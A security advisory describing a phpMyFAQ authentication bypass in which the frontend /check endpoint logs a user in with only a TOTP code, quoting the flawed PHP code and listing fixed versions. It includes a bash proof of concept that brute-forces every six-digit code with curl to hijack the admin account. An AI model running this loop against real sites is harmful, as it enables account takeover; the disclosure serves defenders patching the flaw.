Skip to content

GHSA-8gpw-xvpf-hvx5 CVE-2026-56737

phpMyFAQ's two-factor authentication login bypasses the password factor

High Packagist
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.53%
Chance of exploitation in the next 30 days. Higher than 44.64% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-287 Improper Authentication
Fix
Available
2 packages have a fixed version

Description

Summary

The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details

src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);

    if ($userId <= 0) { /* ... */ }

    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user

    if (strlen((string) $token) === 6) {
        $result = $this->twoFactor->validateToken($token, $userId);
        if ($result) {
            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked
            return new RedirectResponse(url: './');
        }
    }
    // ...
}

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

public function twoFactorSuccess(): bool
{
    $this->setLoggedIn(true);
    $this->updateSessionId(true);
    $this->saveToSession();
    $this->setSuccess(true);
    return true;
}

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fa_pending_user_id session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

public function validateToken(string $token, int $userId): bool
{
    if (strlen($token) !== 6 || $userId <= 0) { return false; }
    $this->currentUser->getUserById($userId);
    $secret = $this->currentUser->getUserData('secret');
    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false
    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only
}

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC

Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
  curl -ks -c jar.txt -b jar.txt \
    -X POST "https://target/check" \
    --data-urlencode "user-id=1" \
    --data-urlencode "token=$(printf '%06d' 10#$code)" \
    -o /dev/null -w "%{http_code} %{redirect_url}\n" \
  | grep -q './'   && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).

If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
>= 3.2.0, < 4.1.6
4.1.6
thorsten/phpmyfaq
>= 3.2.0, < 4.1.6
4.1.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.6

composer
composer require phpmyfaq/phpmyfaq:^4.1.6

thorsten/phpmyfaq Packagist → 4.1.6

composer
composer require thorsten/phpmyfaq:^4.1.6

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-287: Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

How to prevent it
  • Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
GHSA-8c6h-7g6x-m5x4
phpMyFAQ: Missing userHasPermission() in 4 API write endpoints (CVE-2026-24421 Incomplete Fix)
Medium Also affects phpmyfaq/phpmyfaq
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor